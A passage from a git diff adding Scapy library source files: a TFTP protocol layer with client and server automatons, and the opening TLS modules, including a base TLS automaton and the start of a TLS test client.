+            print("%-40s: %r" % (r[SNMPvarbind].oid.val,r[SNMPvarbind].value))
+            oid = r[SNMPvarbind].oid
+            
+    except KeyboardInterrupt:
+        pass
+
diff --git a/scapy/layers/tftp.py b/scapy/layers/tftp.py
new file mode 100644
index 0000000..3c52b7b
--- /dev/null
+++ b/scapy/layers/tftp.py
@@ -0,0 +1,479 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+TFTP (Trivial File Transfer Protocol).
+"""
+
+from __future__ import absolute_import
+import os,random
+from scapy.packet import *
+from scapy.fields import *
+from scapy.automaton import *
+from scapy.layers.inet import UDP, IP
+from scapy.modules.six.moves import range
+
+
+
+TFTP_operations = { 1:"RRQ",2:"WRQ",3:"DATA",4:"ACK",5:"ERROR",6:"OACK" }
+
+
+class TFTP(Packet):
+    name = "TFTP opcode"
+    fields_desc = [ ShortEnumField("op", 1, TFTP_operations), ]
+    
+
+
+class TFTP_RRQ(Packet):
+    name = "TFTP Read Request"
+    fields_desc = [ StrNullField("filename", ""),
+                    StrNullField("mode", "octet") ]
+    def answers(self, other):
+        return 0
+    def mysummary(self):
+        return self.sprintf("RRQ %filename%"),[UDP]
+        
+
+class TFTP_WRQ(Packet):
+    name = "TFTP Write Request"
+    fields_desc = [ StrNullField("filename", ""),
+                    StrNullField("mode", "octet") ]
+    def answers(self, other):
+        return 0
+    def mysummary(self):
+        return self.sprintf("WRQ %filename%"),[UDP]
+
+class TFTP_DATA(Packet):
+    name = "TFTP Data"
+    fields_desc = [ ShortField("block", 0) ]
+    def answers(self, other):
+        return  self.block == 1 and isinstance(other, TFTP_RRQ)
+    def mysummary(self):
+        return self.sprintf("DATA %block%"),[UDP]
+
+class TFTP_Option(Packet):
+    fields_desc = [ StrNullField("oname",""),
+                    StrNullField("value","") ]
+    def extract_padding(self, pkt):
+        return "",pkt
+
+class TFTP_Options(Packet):
+    fields_desc = [ PacketListField("options", [], TFTP_Option, length_from=lambda x:None) ]
+
+    
+class TFTP_ACK(Packet):
+    name = "TFTP Ack"
+    fields_desc = [ ShortField("block", 0) ]
+    def answers(self, other):
+        if isinstance(other, TFTP_DATA):
+            return self.block == other.block
+        elif isinstance(other, TFTP_RRQ) or isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_OACK):
+            return self.block == 0
+        return 0
+    def mysummary(self):
+        return self.sprintf("ACK %block%"),[UDP]
+
+TFTP_Error_Codes = {  0: "Not defined",
+                      1: "File not found",
+                      2: "Access violation",
+                      3: "Disk full or allocation exceeded",
+                      4: "Illegal TFTP operation",
+                      5: "Unknown transfer ID",
+                      6: "File already exists",
+                      7: "No such user",
+                      8: "Terminate transfer due to option negotiation",
+                      }
+    
+class TFTP_ERROR(Packet):
+    name = "TFTP Error"
+    fields_desc = [ ShortEnumField("errorcode", 0, TFTP_Error_Codes),
+                    StrNullField("errormsg", "")]
+    def answers(self, other):
+        return (isinstance(other, TFTP_DATA) or
+                isinstance(other, TFTP_RRQ) or
+                isinstance(other, TFTP_WRQ) or 
+                isinstance(other, TFTP_ACK))
+    def mysummary(self):
+        return self.sprintf("ERROR %errorcode%: %errormsg%"),[UDP]
+
+
+class TFTP_OACK(Packet):
+    name = "TFTP Option Ack"
+    fields_desc = [  ]
+    def answers(self, other):
+        return isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_RRQ)
+
+
+bind_layers(UDP, TFTP, dport=69)
+bind_layers(TFTP, TFTP_RRQ, op=1)
+bind_layers(TFTP, TFTP_WRQ, op=2)
+bind_layers(TFTP, TFTP_DATA, op=3)
+bind_layers(TFTP, TFTP_ACK, op=4)
+bind_layers(TFTP, TFTP_ERROR, op=5)
+bind_layers(TFTP, TFTP_OACK, op=6)
+bind_layers(TFTP_RRQ, TFTP_Options)
+bind_layers(TFTP_WRQ, TFTP_Options)
+bind_layers(TFTP_OACK, TFTP_Options)
+    
+
+class TFTP_read(Automaton):
+    def parse_args(self, filename, server, sport = None, port=69, **kargs):
+        Automaton.parse_args(self, **kargs)
+        self.filename = filename
+        self.server = server
+        self.port = port
+        self.sport = sport
+
+
+    def master_filter(self, pkt):
+        return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt
+                 and pkt[UDP].dport == self.my_tid
+                 and (self.server_tid is None or pkt[UDP].sport == self.server_tid) )
+        
+    # BEGIN
+    @ATMT.state(initial=1)
+    def BEGIN(self):
+        self.blocksize=512
+        self.my_tid = self.sport or RandShort()._fix()
+        bind_bottom_up(UDP, TFTP, dport=self.my_tid)
+        self.server_tid = None
+        self.res = ""
+
+        self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP()
+        self.last_packet = self.l3/TFTP_RRQ(filename=self.filename, mode="octet")
+        self.send(self.last_packet)
+        self.awaiting=1
+        
+        raise self.WAITING()
+        
+    # WAITING
+    @ATMT.state()
+    def WAITING(self):
+        pass
+
+
+    @ATMT.receive_condition(WAITING)
+    def receive_data(self, pkt):
+        if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting:
+            if self.server_tid is None:
+                self.server_tid = pkt[UDP].sport
+                self.l3[UDP].dport = self.server_tid
+            raise self.RECEIVING(pkt)
+
+    @ATMT.receive_condition(WAITING, prio=1)
+    def receive_error(self, pkt):
+        if TFTP_ERROR in pkt:
+            raise self.ERROR(pkt)
+    
+        
+    @ATMT.timeout(WAITING, 3)
+    def timeout_waiting(self):
+        raise self.WAITING()
+    @ATMT.action(timeout_waiting)
+    def retransmit_last_packet(self):
+        self.send(self.last_packet)
+
+    @ATMT.action(receive_data)
+#    @ATMT.action(receive_error)
+    def send_ack(self):
+        self.last_packet = self.l3 / TFTP_ACK(block = self.awaiting)
+        self.send(self.last_packet)
+    
+
+    # RECEIVED
+    @ATMT.state()
+    def RECEIVING(self, pkt):
+        if conf.raw_layer in pkt:
+            recvd = pkt[conf.raw_layer].load
+        else:
+            recvd = ""
+        self.res += recvd
+        self.awaiting += 1
+        if len(recvd) == self.blocksize:
+            raise self.WAITING()
+        raise self.END()
+
+    # ERROR
+    @ATMT.state(error=1)
+    def ERROR(self,pkt):
+        split_bottom_up(UDP, TFTP, dport=self.my_tid)
+        return pkt[TFTP_ERROR].summary()
+    
+    #END
+    @ATMT.state(final=1)
+    def END(self):
+        split_bottom_up(UDP, TFTP, dport=self.my_tid)
+        return self.res
+
+
+
+
+class TFTP_write(Automaton):
+    def parse_args(self, filename, data, server, sport=None, port=69,**kargs):
+        Automaton.parse_args(self, **kargs)
+        self.filename = filename
+        self.server = server
+        self.port = port
+        self.sport = sport
+        self.blocksize = 512
+        self.origdata = data
+
+    def master_filter(self, pkt):
+        return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt
+                 and pkt[UDP].dport == self.my_tid
+                 and (self.server_tid is None or pkt[UDP].sport == self.server_tid) )
+        
+
+    # BEGIN
+    @ATMT.state(initial=1)
+    def BEGIN(self):
+        self.data = [self.origdata[i*self.blocksize:(i+1)*self.blocksize]
+                     for i in range( len(self.origdata)/self.blocksize+1)]
+        self.my_tid = self.sport or RandShort()._fix()
+        bind_bottom_up(UDP, TFTP, dport=self.my_tid)
+        self.server_tid = None
+        
+        self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP()
+        self.last_packet = self.l3/TFTP_WRQ(filename=self.filename, mode="octet")
+        self.send(self.last_packet)
+        self.res = ""
+        self.awaiting=0
+
+        raise self.WAITING_ACK()
+        
+    # WAITING_ACK
+    @ATMT.state()
+    def WAITING_ACK(self):
+        pass
+
+    @ATMT.receive_condition(WAITING_ACK)    
+    def received_ack(self,pkt):
+        if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.awaiting:
+            if self.server_tid is None:
+                self.server_tid = pkt[UDP].sport
+                self.l3[UDP].dport = self.server_tid
+            raise self.SEND_DATA()
+
+    @ATMT.receive_condition(WAITING_ACK)
+    def received_error(self, pkt):
+        if TFTP_ERROR in pkt:
+            raise self.ERROR(pkt)
+
+    @ATMT.timeout(WAITING_ACK, 3)
+    def timeout_waiting(self):
+        raise self.WAITING_ACK()
+    @ATMT.action(timeout_waiting)
+    def retransmit_last_packet(self):
+        self.send(self.last_packet)
+    
+    # SEND_DATA
+    @ATMT.state()
+    def SEND_DATA(self):
+        self.awaiting += 1
+        self.last_packet = self.l3/TFTP_DATA(block=self.awaiting)/self.data.pop(0)
+        self.send(self.last_packet)
+        if self.data:
+            raise self.WAITING_ACK()
+        raise self.END()
+    
+
+    # ERROR
+    @ATMT.state(error=1)
+    def ERROR(self,pkt):
+        split_bottom_up(UDP, TFTP, dport=self.my_tid)
+        return pkt[TFTP_ERROR].summary()
+
+    # END
+    @ATMT.state(final=1)
+    def END(self):
+        split_bottom_up(UDP, TFTP, dport=self.my_tid)
+
+
+class TFTP_WRQ_server(Automaton):
+
+    def parse_args(self, ip=None, sport=None, *args, **kargs):
+        Automaton.parse_args(self, *args, **kargs)
+        self.ip = ip
+        self.sport = sport
+
+    def master_filter(self, pkt):
+        return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip)
+
+    @ATMT.state(initial=1)
+    def BEGIN(self):
+        self.blksize=512
+        self.blk=1
+        self.filedata=""
+        self.my_tid = self.sport or random.randint(10000,65500)
+        bind_bottom_up(UDP, TFTP, dport=self.my_tid)
+
+    @ATMT.receive_condition(BEGIN)
+    def receive_WRQ(self,pkt):
+        if TFTP_WRQ in pkt:
+            raise self.WAIT_DATA().action_parameters(pkt)
+        
+    @ATMT.action(receive_WRQ)
+    def ack_WRQ(self, pkt):
+        ip = pkt[IP]
+        self.ip = ip.dst
+        self.dst = ip.src
+        self.filename = pkt[TFTP_WRQ].filename
+        options = pkt.getlayer(TFTP_Options)
+        self.l3 = IP(src=ip.dst, dst=ip.src)/UDP(sport=self.my_tid, dport=pkt.sport)/TFTP()
+        if options is None:
+            self.last_packet = self.l3/TFTP_ACK(block=0)
+            self.send(self.last_packet)
+        else:
+            opt = [x for x in options.options if x.oname.upper() == "BLKSIZE"]
+            if opt:
+                self.blksize = int(opt[0].value)
+                self.debug(2,"Negotiated new blksize at %i" % self.blksize)
+            self.last_packet = self.l3/TFTP_OACK()/TFTP_Options(options=opt)
+            self.send(self.last_packet)
+
+    @ATMT.state()
+    def WAIT_DATA(self):
+        pass
+
+    @ATMT.timeout(WAIT_DATA, 1)
+    def resend_ack(self):
+        self.send(self.last_packet)
+        raise self.WAIT_DATA()
+        
+    @ATMT.receive_condition(WAIT_DATA)
+    def receive_data(self, pkt):
+        if TFTP_DATA in pkt:
+            data = pkt[TFTP_DATA]
+            if data.block == self.blk:
+                raise self.DATA(data)
+
+    @ATMT.action(receive_data)
+    def ack_data(self):
+        self.last_packet = self.l3/TFTP_ACK(block = self.blk)
+        self.send(self.last_packet)
+
+    @ATMT.state()
+    def DATA(self, data):
+        self.filedata += data.load
+        if len(data.load) < self.blksize:
+            raise self.END()
+        self.blk += 1
+        raise self.WAIT_DATA()
+
+    @ATMT.state(final=1)
+    def END(self):
+        return self.filename,self.filedata
+        split_bottom_up(UDP, TFTP, dport=self.my_tid)
+        
+
+class TFTP_RRQ_server(Automaton):
+    def parse_args(self, store=None, joker=None, dir=None, ip=None, sport=None, serve_one=False, **kargs):
+        Automaton.parse_args(self,**kargs)
+        if store is None:
+            store = {}
+        if dir is not None:
+            self.dir = os.path.join(os.path.abspath(dir),"")
+        else:
+            self.dir = None
+        self.store = store
+        self.joker = joker
+        self.ip = ip
+        self.sport = sport
+        self.serve_one = serve_one
+        self.my_tid = self.sport or random.randint(10000,65500)
+        bind_bottom_up(UDP, TFTP, dport=self.my_tid)
+        
+    def master_filter(self, pkt):
+        return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip)
+
+    @ATMT.state(initial=1)
+    def WAIT_RRQ(self):
+        self.blksize=512
+        self.blk=0
+
+    @ATMT.receive_condition(WAIT_RRQ)
+    def receive_rrq(self, pkt):
+        if TFTP_RRQ in pkt:
+            raise self.RECEIVED_RRQ(pkt)
+
+
+    @ATMT.state()
+    def RECEIVED_RRQ(self, pkt):
+        ip = pkt[IP]
+        options = pkt[TFTP_Options]
+        self.l3 = IP(src=ip.dst, dst=ip.src)/UDP(sport=self.my_tid, dport=ip.sport)/TFTP()
+        self.filename = pkt[TFTP_RRQ].filename
+        self.blk=1
+        self.data = None
+        if self.filename in self.store:
+            self.data = self.store[self.filename]
+        elif self.dir is not None:
+            fn = os.path.abspath(os.path.join(self.dir, self.filename))
+            if fn.startswith(self.dir): # Check we're still in the server's directory
+                try:
+                    self.data=open(fn).read()
+                except IOError:
+                    pass
+        if self.data is None:
+            self.data = self.joker
+
+        if options:
+            opt = [x for x in options.options if x.oname.upper() == "BLKSIZE"]
+            if opt:
+                self.blksize = int(opt[0].value)
+                self.debug(2,"Negotiated new blksize at %i" % self.blksize)
+            self.last_packet = self.l3/TFTP_OACK()/TFTP_Options(options=opt)
+            self.send(self.last_packet)
+                
+
+            
+
+    @ATMT.condition(RECEIVED_RRQ)
+    def file_in_store(self):
+        if self.data is not None:
+            self.blknb = len(self.data)/self.blksize+1
+            raise self.SEND_FILE()
+
+    @ATMT.condition(RECEIVED_RRQ)
+    def file_not_found(self):
+        if self.data is None:
+            raise self.WAIT_RRQ()
+    @ATMT.action(file_not_found)
+    def send_error(self):
+        self.send(self.l3/TFTP_ERROR(errorcode=1, errormsg=TFTP_Error_Codes[1]))
+
+    @ATMT.state()
+    def SEND_FILE(self):
+        self.send(self.l3/TFTP_DATA(block=self.blk)/self.data[(self.blk-1)*self.blksize:self.blk*self.blksize])
+        
+    @ATMT.timeout(SEND_FILE, 3)
+    def timeout_waiting_ack(self):
+        raise self.SEND_FILE()
+            
+    @ATMT.receive_condition(SEND_FILE)
+    def received_ack(self, pkt):
+        if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.blk:
+            raise self.RECEIVED_ACK()
+    @ATMT.state()
+    def RECEIVED_ACK(self):
+        self.blk += 1
+
+    @ATMT.condition(RECEIVED_ACK)
+    def no_more_data(self):
+        if self.blk > self.blknb:
+            if self.serve_one:
+                raise self.END()
+            raise self.WAIT_RRQ()
+    @ATMT.condition(RECEIVED_ACK, prio=2)
+    def data_remaining(self):
+        raise self.SEND_FILE()
+
+    @ATMT.state(final=1)
+    def END(self):
+        split_bottom_up(UDP, TFTP, dport=self.my_tid)
+    
+
+        
+
diff --git a/scapy/layers/tls/__init__.py b/scapy/layers/tls/__init__.py
new file mode 100644
index 0000000..8e260d4
--- /dev/null
+++ b/scapy/layers/tls/__init__.py
@@ -0,0 +1,100 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard <arno@natisbad.com>
+##               2015, 2016, 2017 Maxence Tury <maxence.tury@ssi.gouv.fr>
+## This program is published under a GPLv2 license
+
+"""
+Tools for handling TLS sessions and digital certificates.
+Use load_layer('tls') to load them to the main namespace.
+
+Prerequisites:
+
+    - You may need to 'pip install cryptography' for the module to be loaded.
+
+
+Main features:
+
+    - X.509 certificates parsing/building.
+
+    - RSA & ECDSA keys sign/verify methods.
+
+    - TLS records and sublayers (handshake...) parsing/building. Works with
+      versions SSLv2 to TLS 1.2. This may be enhanced by a TLS context. For
+      instance, if Scapy reads a ServerHello with version TLS 1.2 and a cipher
+      suite using AES, it will assume the presence of IVs prepending the data.
+      See test/tls.uts for real examples.
+
+    - TLS encryption/decryption capabilities with many ciphersuites, including
+      some which may be deemed dangerous. Once again, the TLS context enables
+      Scapy to transparently send/receive protected data if it learnt the
+      session secrets. Note that if Scapy acts as one side of the handshake
+      (e.g. reads all server-related packets and builds all client-related
+      packets), it will indeed compute the session secrets.
+
+    - TLS client & server basic automatons, provided for testing and tweaking
+      purposes. These make for a very primitive TLS stack.
+
+    - Additionally, a basic test PKI (key + certificate for a CA, a client and
+      a server) is provided in tls/examples/pki_test.
+
+
+Unit tests:
+
+    - Various cryptography checks.
+
+    - Reading a TLS handshake between a Firefox client and a GitHub server.
+
+    - Reading TLS 1.3 handshakes from test vectors of a draft RFC.
+
+    - Reading a SSLv2 handshake between s_client and s_server, without PFS.
+
+    - Test our TLS server against s_client with different cipher suites.
+
+    - Test our TLS client against our TLS server (s_server is unscriptable).
+
+
+TODO list (may it be carved away by good souls):
+
+    - Features to add (or wait for) in the cryptography library:
+
+        - X448 from RFC 7748 (no support in openssl yet);
+
+        - the compressed EC point format.
+
+
+    - About the automatons:
+
+        - Add resumption support, through session IDs or session tickets.
+
+        - Add various checks for discrepancies between client and server.
+          Is the ServerHello ciphersuite ok? What about the SKE params? Etc.
+
+        - Add some examples which illustrate how the automatons could be used.
+          Typically, we could showcase this with Heartbleed.
+
+        - Allow the server to store both one RSA key and one ECDSA key, and
+          select the right one to use according to the ClientHello suites.
+
+        - Find a way to shutdown the automatons sockets properly without
+          simultaneously breaking the unit tests.
+
+
+    - Miscellaneous:
+
+        - Enhance PSK and session ticket support.
+
+        - Define several Certificate Transparency objects.
+
+        - Add the extended master secret and encrypt-then-mac logic.
+
+        - Mostly unused features : DSS, fixed DH, SRP, char2 curves...
+"""
+
+from scapy.config import conf
+
+if not conf.crypto_valid:
+    import logging
+    log_loading = logging.getLogger("scapy.loading")
+    log_loading.info("Can't import python-cryptography v1.7+. "
+                     "Disabled PKI & TLS crypto-related features.")
+
diff --git a/scapy/layers/tls/all.py b/scapy/layers/tls/all.py
new file mode 100644
index 0000000..480d6d3
--- /dev/null
+++ b/scapy/layers/tls/all.py
@@ -0,0 +1,25 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+Aggregate top level objects from all TLS modules.
+"""
+
+from scapy.layers.tls.cert import *
+
+from scapy.layers.tls.automaton_cli import *
+from scapy.layers.tls.automaton_srv import *
+from scapy.layers.tls.extensions import *
+from scapy.layers.tls.handshake import *
+from scapy.layers.tls.handshake_sslv2 import *
+from scapy.layers.tls.keyexchange import *
+from scapy.layers.tls.keyexchange_tls13 import *
+from scapy.layers.tls.record import *
+from scapy.layers.tls.record_sslv2 import *
+from scapy.layers.tls.record_tls13 import *
+from scapy.layers.tls.session import *
+
+from scapy.layers.tls.crypto.all import *
+
diff --git a/scapy/layers/tls/automaton.py b/scapy/layers/tls/automaton.py
new file mode 100644
index 0000000..886b1b2
--- /dev/null
+++ b/scapy/layers/tls/automaton.py
@@ -0,0 +1,226 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+The _TLSAutomaton class provides methods common to both TLS client and server.
+"""
+
+import struct
+
+from scapy.automaton import Automaton
+from scapy.error import log_interactive
+from scapy.packet import Raw
+from scapy.layers.tls.basefields import _tls_type
+from scapy.layers.tls.cert import Cert, PrivKey
+from scapy.layers.tls.record import TLS
+from scapy.layers.tls.record_sslv2 import SSLv2
+from scapy.layers.tls.record_tls13 import TLS13
+
+
+class _TLSAutomaton(Automaton):
+    """
+    SSLv3 and TLS 1.0-1.2 typically need a 2-RTT handshake:
+
+    Client        Server
+      | --------->>> |    C1 - ClientHello
+      | <<<--------- |    S1 - ServerHello
+      | <<<--------- |    S1 - Certificate
+      | <<<--------- |    S1 - ServerKeyExchange
+      | <<<--------- |    S1 - ServerHelloDone
+      | --------->>> |    C2 - ClientKeyExchange
+      | --------->>> |    C2 - ChangeCipherSpec
+      | --------->>> |    C2 - Finished [encrypted]
+      | <<<--------- |    S2 - ChangeCipherSpec
+      | <<<--------- |    S2 - Finished [encrypted]
+
+    We call these successive groups of messages:
+    ClientFlight1, ServerFlight1, ClientFlight2 and ServerFlight2.
+
+    We want to send our messages from the same flight all at once through the
+    socket. This is achieved by managing a list of records in 'buffer_out'.
+    We may put several messages (i.e. what RFC 5246 calls the record fragments)
+    in the same record when possible, but we may need several records for the
+    same flight, as with ClientFlight2.
+
+    However, note that the flights from the opposite side may be spread wildly
+    accross TLS records and TCP packets. This is why we use a 'get_next_msg'
+    method for feeding a list of received messages, 'buffer_in'. Raw data
+    which has not yet been interpreted as a TLS record is kept in 'remain_in'.
+    """
+    def parse_args(self, mycert=None, mykey=None, **kargs):
+
+        super(_TLSAutomaton, self).parse_args(**kargs)
+
+        self.socket = None
+        self.remain_in = b""
+        self.buffer_in = []         # these are 'fragments' inside records
+        self.buffer_out = []        # these are records
+
+        self.cur_session = None
+        self.cur_pkt = None         # this is usually the latest parsed packet
+
+        if mycert:
+            self.mycert = Cert(mycert)
+        else:
+            self.mycert = None
+
+        if mykey:
+            self.mykey = PrivKey(mykey)
+        else:
+            self.mykey = None
+
+        self.verbose = kargs.get("verbose", True)
+
+
+    def get_next_msg(self, socket_timeout=2, retry=2):
+        """
+        The purpose of the function is to make next message(s) available in
+        self.buffer_in. If the list is not empty, nothing is done. If not, in
+        order to fill it, the function uses the data already available in
+        self.remain_in from a previous call and waits till there are enough to
+        dissect a TLS packet. Once dissected, the content of the TLS packet
+        (carried messages, or 'fragments') is appended to self.buffer_in.
+
+        We have to grab enough data to dissect a TLS packet. We start by
+        reading the first 2 bytes. Unless we get anything different from
+        \\x14\\x03, \\x15\\x03, \\x16\\x03 or \\x17\\x03 (which might indicate
+        an SSLv2 record, whose first 2 bytes encode the length), we retrieve
+        3 more bytes in order to get the length of the TLS record, and
+        finally we can retrieve the remaining of the record.
+        """
+        if self.buffer_in:
+            # A message is already available.
+            return
+
+        self.socket.settimeout(socket_timeout)
+        is_sslv2_msg = False
+        still_getting_len = True
+        grablen = 2
+        while retry and (still_getting_len or len(self.remain_in) < grablen):
+            if not is_sslv2_msg and grablen == 5 and len(self.remain_in) >= 5:
+                grablen = struct.unpack('!H', self.remain_in[3:5])[0] + 5
+                still_getting_len = False
+            elif grablen == 2 and len(self.remain_in) >= 2:
+                byte0 = struct.unpack("B", self.remain_in[:1])[0]
+                byte1 = struct.unpack("B", self.remain_in[1:2])[0]
+                if (byte0 in _tls_type) and (byte1 == 3):
+                    # Retry following TLS scheme. This will cause failure
+                    # for SSLv2 packets with length 0x1{4-7}03.
+                    grablen = 5
+                else:
+                    # Extract the SSLv2 length.
+                    is_sslv2_msg = True
+                    still_getting_len = False
+                    if byte0 & 0x80:
+                        grablen = 2 + 0 + ((byte0 & 0x7f) << 8) + byte1
+                    else:
+                        grablen = 2 + 1 + ((byte0 & 0x3f) << 8) + byte1
+            elif not is_sslv2_msg and grablen == 5 and len(self.remain_in) >= 5:
+                grablen = struct.unpack('!H', self.remain_in[3:5])[0] + 5
+
+            if grablen == len(self.remain_in):
+                break
+
+            try:
+                tmp = self.socket.recv(grablen - len(self.remain_in))
+                if not tmp:
+                    retry -= 1
+                else:
+                    self.remain_in += tmp
+            except:
+                self.vprint("Could not join host ! Retrying...")
+                retry -= 1
+
+        if len(self.remain_in) < 2 or len(self.remain_in) != grablen:
+            # Remote peer is not willing to respond
+            return
+
+        p = TLS(self.remain_in, tls_session=self.cur_session)
+        self.cur_session = p.tls_session
+        self.remain_in = b""
+        if isinstance(p, SSLv2) and not p.msg:
+            p.msg = Raw("")
+        if self.cur_session.tls_version is None or \
+           self.cur_session.tls_version < 0x0304:
+            self.buffer_in += p.msg
+        else:
+            if isinstance(p, TLS13):
+                self.buffer_in += p.inner.msg
+            else:
+                # should be TLS13ServerHello only
+                self.buffer_in += p.msg
+
+        while p.payload:
+            if isinstance(p.payload, Raw):
+                self.remain_in += p.payload.load
+                p = p.payload
+            elif isinstance(p.payload, TLS):
+                p = p.payload
+                if self.cur_session.tls_version is None or \
+                   self.cur_session.tls_version < 0x0304:
+                    self.buffer_in += p.msg
+                else:
+                    self.buffer_in += p.inner.msg
+
+    def raise_on_packet(self, pkt_cls, state, get_next_msg=True):
+        """
+        If the next message to be processed has type 'pkt_cls', raise 'state'.
+        If there is no message waiting to be processed, we try to get one with
+        the default 'get_next_msg' parameters.
+        """
+        # Maybe we already parsed the expected packet, maybe not.
+        if get_next_msg:
+            self.get_next_msg()
+        if (not self.buffer_in or
+            not isinstance(self.buffer_in[0], pkt_cls)):
+            return
+        self.cur_pkt = self.buffer_in[0]
+        self.buffer_in = self.buffer_in[1:]
+        raise state()
+
+    def add_record(self, is_sslv2=None, is_tls13=None):
+        """
+        Add a new TLS or SSLv2 or TLS 1.3 record to the packets buffered out.
+        """
+        if is_sslv2 is None and is_tls13 is None:
+            v = (self.cur_session.tls_version or
+                 self.cur_session.advertised_tls_version)
+            if v in [0x0200, 0x0002]:
+                is_sslv2 = True
+            elif v >= 0x0304:
+                is_tls13 = True
+        if is_sslv2:
+            self.buffer_out.append(SSLv2(tls_session=self.cur_session))
+        elif is_tls13:
+            self.buffer_out.append(TLS13(tls_session=self.cur_session))
+        else:
+            self.buffer_out.append(TLS(tls_session=self.cur_session))
+
+    def add_msg(self, pkt):
+        """
+        Add a TLS message (e.g. TLSClientHello or TLSApplicationData)
+        inside the latest record to be sent through the socket.
+        We believe a good automaton should not use the first test.
+        """
+        if not self.buffer_out:
+            self.add_record()
+        r = self.buffer_out[-1]
+        if isinstance(r, TLS13):
+            self.buffer_out[-1].inner.msg.append(pkt)
+        else:
+            self.buffer_out[-1].msg.append(pkt)
+
+    def flush_records(self):
+        """
+        Send all buffered records and update the session accordingly.
+        """
+        s = b"".join(p.raw_stateful() for p in self.buffer_out)
+        self.socket.send(s)
+        self.buffer_out = []
+
+    def vprint(self, s=""):
+        if self.verbose:
+            log_interactive.info("> %s", s)
+
diff --git a/scapy/layers/tls/automaton_cli.py b/scapy/layers/tls/automaton_cli.py
new file mode 100644
index 0000000..bda49df
--- /dev/null
+++ b/scapy/layers/tls/automaton_cli.py
@@ -0,0 +1,943 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+TLS client automaton. This makes for a primitive TLS stack.
+Obviously you need rights for network access.
+
+We support versions SSLv2 to TLS 1.2, along with many features.
+There is no session resumption mechanism for now.
+
+In order to run a client to tcp/50000 with one cipher suite of your choice:
+> from scapy.all import *
+> ch = TLSClientHello(ciphers=<int code of the cipher suite>)
+> t = TLSClientAutomaton(dport=50000, client_hello=ch)
+> t.run()
+"""
+
+from __future__ import print_function
+import socket
+
+from scapy.pton_ntop import inet_pton
+from scapy.utils import randstring
+from scapy.automaton import ATMT
+from scapy.layers.tls.automaton import _TLSAutomaton
+from scapy.layers.tls.basefields import _tls_version, _tls_version_options
+from scapy.layers.tls.session import tlsSession
+from scapy.layers.tls.extensions import (TLS_Ext_SupportedGroups,
+                                         TLS_Ext_SupportedVersions,
+                                         TLS_Ext_SignatureAlgorithms,
+                                         TLS_Ext_ServerName, ServerName)
+from scapy.layers.tls.handshake import *
+from scapy.layers.tls.handshake_sslv2 import *
+from scapy.layers.tls.keyexchange_tls13 import (TLS_Ext_KeyShare_CH,
+                                                KeyShareEntry)
+from scapy.layers.tls.record import (TLS, TLSAlert, TLSChangeCipherSpec,
+                                     TLSApplicationData)
+from scapy.modules import six
+
+
+class TLSClientAutomaton(_TLSAutomaton):
+    """
+    A simple TLS test client automaton. Try to overload some states or
+    conditions and see what happens on the other side.
+
+    Rather than with an interruption, the best way to stop this client is by
+    typing 'quit'. This won't be a message sent to the server.
+
+    _'mycert' and 'mykey' may be provided as filenames. They will be used in
+    the handshake, should the server ask for client authentication.
+    _'server_name' does not need to be set.
+    _'client_hello' may hold a TLSClientHello or SSLv2ClientHello to be sent
+    to the server. This is particularly useful for extensions tweaking.
+    _'version' is a quicker way to advertise a protocol version ("sslv2",
+    "tls1", "tls12", etc.) It may be overriden by the previous 'client_hello'.
+    _'data' is a list of raw data to be sent to the server once the handshake
+    has been completed. Both 'stop_server' and 'quit' will work this way.
+    """
+
+    def parse_args(self, server="127.0.0.1", dport=4433, server_name=None,
+                         mycert=None, mykey=None,
+                         client_hello=None, version=None,
+                         data=None,
+                         **kargs):
+
+        super(TLSClientAutomaton, self).parse_args(mycert=mycert,
+                                                   mykey=mykey,
+                                                   **kargs)
+        tmp = socket.getaddrinfo(server, dport)
+        self.remote_name = None
+        try:
+            if ':' in server:
+                inet_pton(socket.AF_INET6, server)
+            else:
+                inet_pton(socket.AF_INET, server)
+        except:
+            self.remote_name = socket.getfqdn(server)
+            if self.remote_name != server:
+                tmp = socket.getaddrinfo(self.remote_name, dport)
+
+        if server_name:
+            self.remote_name = server_name
+        self.remote_family = tmp[0][0]
+        self.remote_ip = tmp[0][4][0]
+        self.remote_port = dport
+        self.local_ip = None
+        self.local_port = None
+        self.socket = None
+
+        self.client_hello = client_hello
+        self.advertised_tls_version = None
+        if version:
+            v = _tls_version_options.get(version, None)
+            if not v:
+                self.vprint("Unrecognized TLS version option.")
+            else:
+                self.advertised_tls_version = v
+
+        self.linebreak = False
+        if isinstance(data, bytes):
+            self.data_to_send = [data]
+        elif isinstance(data, six.string_types):
+            self.data_to_send = [raw(data)]
+        elif isinstance(data, list):
+            self.data_to_send = list(raw(d) for d in reversed(data))
+        else:
+            self.data_to_send = []
+
+
+    def vprint_sessioninfo(self):
+        if self.verbose:
+            s = self.cur_session
+            v = _tls_version[s.tls_version]
+            self.vprint("Version       : %s" % v)
+            cs = s.wcs.ciphersuite.name
+            self.vprint("Cipher suite  : %s" % cs)
+            if s.tls_version >= 0x0304:
+                ms = s.tls13_master_secret
+            else:
+                ms = s.master_secret
+            self.vprint("Master secret : %s" % repr_hex(ms))
+            if s.server_certs:
+                self.vprint("Server certificate chain: %r" % s.server_certs)
+            self.vprint()
+
+
+    @ATMT.state(initial=True)
